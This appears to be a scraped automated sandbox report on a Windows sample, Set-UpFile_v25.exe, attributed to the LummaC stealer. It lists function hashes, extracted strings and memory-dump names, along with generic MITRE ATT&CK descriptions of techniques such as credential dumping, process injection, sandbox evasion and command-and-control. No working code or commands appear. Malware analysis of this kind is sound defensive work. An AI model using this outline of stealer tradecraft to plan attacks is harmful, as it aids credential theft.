Opcode ID: 3931c62a5e3f7769b57b37a26d13e8060ea66f99e001d9fc73896f3f4cedf73c
Instruction ID: 28252059507e68cf25341a04997cc06bd1523f2e7363f89923edd1c4833a5d12
Opcode Fuzzy Hash: 3931c62a5e3f7769b57b37a26d13e8060ea66f99e001d9fc73896f3f4cedf73c
Instruction Fuzzy Hash: E24138B4A005058FCB0ACF58C194AAAFBF1FF48750B158199D845AB364C736FE55CFA0

Function 00B52A61 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1970691715.0000000000B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b812749c5ca4916d2ecbc1e2b58953e17dc0164aa59ada6f60f86c19365ac66
Instruction ID: f07ec1d132a3edbeee225fe46328d7efc62751318fc692f93bd4369dd47729d1
Opcode Fuzzy Hash: 9b812749c5ca4916d2ecbc1e2b58953e17dc0164aa59ada6f60f86c19365ac66
Instruction Fuzzy Hash: 10315074A096858FCB02CF58C890AEAFFB0FF4A310B1581D7D444EB662C335AD45CBA1

Function 00B53400 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1970691715.0000000000B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf765f724520ba07dca25a59af5ebd504036b7e1f1d1247b565242b85f1acfe6
Instruction ID: 20e9b7b1cc76adcc1a15b00448731d821294f4b2e89eeb7dac0bde28c97c2f26
Opcode Fuzzy Hash: cf765f724520ba07dca25a59af5ebd504036b7e1f1d1247b565242b85f1acfe6
Instruction Fuzzy Hash: 5E4126B4A005099FCB09CF48C194AAAFBF1FF48750B1181A9D905AB364C736FE50CFA0

Function 00B52AB0 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1970691715.0000000000B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1a7287e3563e0b8510ce09716b6da64d753f67e2a6b27ba526ff1e5d3ec6113
Instruction ID: 970d5c5372a73716f16c6b5959f2955986ef8499b968be5bb6e105246aeeb490
Opcode Fuzzy Hash: c1a7287e3563e0b8510ce09716b6da64d753f67e2a6b27ba526ff1e5d3ec6113
Instruction Fuzzy Hash: 1B211974A016099FCB01CF59C980AAEFBF1FF49310B248596E919EB361C735EC41CBA0

Function 00B548F1 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1970691715.0000000000B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78a067a503f4c804ec8e482f914b647884231a757034bed7d33a5fb25b6df716
Instruction ID: ffc905ddda10a5580f80b038d8f88c27c99f584c4d4bb98b000bca038d74df7a
Opcode Fuzzy Hash: 78a067a503f4c804ec8e482f914b647884231a757034bed7d33a5fb25b6df716
Instruction Fuzzy Hash: 63214D74A002198FCB00DF9DD480AAEFBF5FF89314B1485A5E919AB352C731ED45CBA0

Function 0074D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1970403084.000000000074D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0074D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_74d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ad3b3898efba0afa8f96fdadf384720cab6a4792946a4f558ac6e0af3661978
Instruction ID: b73f52e19b38f94fc6c6565b0234dc49e85339dd29228299daea6994e5f4a47d
Opcode Fuzzy Hash: 8ad3b3898efba0afa8f96fdadf384720cab6a4792946a4f558ac6e0af3661978
Instruction Fuzzy Hash: 3801A2715093409AE7308A29CD84B67BF98EF51324F18C56AED884B266C77D9C45CAB1

Function 0074D01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1970403084.000000000074D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0074D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_74d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 042fb91e483d303bec4ba370dbe15642156df6ed660e42c8d0949f921d5382d4
Instruction ID: 7c4a234ba8be58d4e73d72b9264e4e77d42900804a083fff0791e54f8644d7b6
Opcode Fuzzy Hash: 042fb91e483d303bec4ba370dbe15642156df6ed660e42c8d0949f921d5382d4
Instruction Fuzzy Hash: 5BF06271405344AEE7208A1ACDC4B66FFA8EB51734F18C55AED884F296C3799C45CAB1

Non-executed Functions

Function 06F808A0 Relevance: 11.6, Strings: 9, Instructions: 321COMMON

Download Yara Rule

Strings

tP^q, xrefs: 06F80AED
$^q, xrefs: 06F80AA8
4'^q, xrefs: 06F809A2
l, xrefs: 06F80B65
tP^q, xrefs: 06F80AF9
$^q, xrefs: 06F80AB4
l, xrefs: 06F80B57
$^q, xrefs: 06F80A82
4'^q, xrefs: 06F809AE

Memory Dump Source

Source File: 00000004.00000002.1982163381.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$l$l
API String ID: 0-671944917
Opcode ID: 956132871a0a7d745d63d52a8158ba795538f9e1033a5a557ac85d582dcabb94
Instruction ID: 0548929d3fd589eaad2e10363c02672a3d2ea2d27f3f489b839a98778c94ea7d
Opcode Fuzzy Hash: 956132871a0a7d745d63d52a8158ba795538f9e1033a5a557ac85d582dcabb94
Instruction Fuzzy Hash: A3A15632F043558FD765AA79981066BBBE6AFC5210B1884EAD445CB362DF32CC49C7E1

Function 06F814E8 Relevance: 8.9, Strings: 7, Instructions: 192COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06F81592
$^q, xrefs: 06F8169A
4'^q, xrefs: 06F8159E
l, xrefs: 06F816EB
$^q, xrefs: 06F8166F
$^q, xrefs: 06F816A6
l, xrefs: 06F816DD

Memory Dump Source

Source File: 00000004.00000002.1982163381.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q$l$l
API String ID: 0-1462244110
Opcode ID: ad6575ef8b63c0bb9b433dee3c4d1ef9e87c7277ee959e007020d47cd95ce3f6
Instruction ID: 7cbe25e4bbee3c287a3b24822636ca54ace503c49c127b960b3c122d977952c9
Opcode Fuzzy Hash: ad6575ef8b63c0bb9b433dee3c4d1ef9e87c7277ee959e007020d47cd95ce3f6
Instruction Fuzzy Hash: 0D515C31F043068FDB74E66D9805767BBA6AFC2610F1886FAD486CF251DB31C846C7A1

Function 06F80F80 Relevance: 5.4, Strings: 4, Instructions: 379COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06F81030
tP^q, xrefs: 06F811A0
tP^q, xrefs: 06F81194
4'^q, xrefs: 06F81026

Memory Dump Source

Source File: 00000004.00000002.1982163381.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q
API String ID: 0-3859475322
Opcode ID: bc00079a1f9d166f467b6345eebd02119fadbb6b7edadc964228499b771abc7c
Instruction ID: 69e52b1201e97bd91c67d1f1c4c5c4997adab8f7f894852fec1b73293151e71a
Opcode Fuzzy Hash: bc00079a1f9d166f467b6345eebd02119fadbb6b7edadc964228499b771abc7c
Instruction Fuzzy Hash: 16C14831F043469FD770EB6888057ABBBF6AF86310F1485EAD445DB651DA31C886CBA2

Function 06F83518 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 06F83574
$^q, xrefs: 06F83546
$^q, xrefs: 06F83580
$^q, xrefs: 06F8352A

Memory Dump Source

Source File: 00000004.00000002.1982163381.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: c98888abeabeac73f697f48b1cdafe0814654437740124ef0e4e476d3ed9fa12
Instruction ID: 9112d6cfd0b1b46e8aecb22fd611c78417060415f128a399593644e4784c1738
Opcode Fuzzy Hash: c98888abeabeac73f697f48b1cdafe0814654437740124ef0e4e476d3ed9fa12
Instruction Fuzzy Hash: 06212933B003065FDBB875AD9C05B27AAD65BC0F14F2484BAA405CF3A5DD36D845C361

Function 06F80571 Relevance: 5.1, Strings: 4, Instructions: 52COMMON

Download Yara Rule

Strings

$^q, xrefs: 06F805C6
4'^q, xrefs: 06F805DB
$^q, xrefs: 06F805BA
4'^q, xrefs: 06F805E7

Memory Dump Source

Source File: 00000004.00000002.1982163381.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 11390109334954997d14260d988e9e65e732b5413e69367f291aeb237d0b923a
Instruction ID: 81ee0aa54b8fb630e2e2081028dcbcb482fb49dfcb690653b87bb2168bc4a830
Opcode Fuzzy Hash: 11390109334954997d14260d988e9e65e732b5413e69367f291aeb237d0b923a
Instruction Fuzzy Hash: 90012B22F493844FC73A267C18285566FB35F9250075A05DBD081DF366CE198D4DC3B2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Set-UpFile_v25.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1unjy0zf.ro1.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hthjm0hp.xjb.psm1

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
Set-UpFile_v25.exe

Function 02980A85 Relevance: 6.1, APIs: 4, Instructions: 100
threadprocessCOMMON

Function 02980375 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 399
threadCOMMON

Function 02980935 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Function 029D39B3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Function 029D2605 Relevance: 2.8, APIs: 2, Instructions: 325
memoryCOMMON

Function 029928C9 Relevance: 13.3, Strings: 10, Instructions: 839
COMMON

Function 029934B7 Relevance: 11.8, Strings: 9, Instructions: 564
COMMON

Function 029A3B42 Relevance: 11.7, Strings: 9, Instructions: 472
COMMON

Function 029BD522 Relevance: 10.9, Strings: 8, Instructions: 923
COMMON

Function 0298B2C2 Relevance: 10.4, Strings: 8, Instructions: 387
COMMON

Function 029BCBC2 Relevance: 10.3, Strings: 8, Instructions: 312
COMMON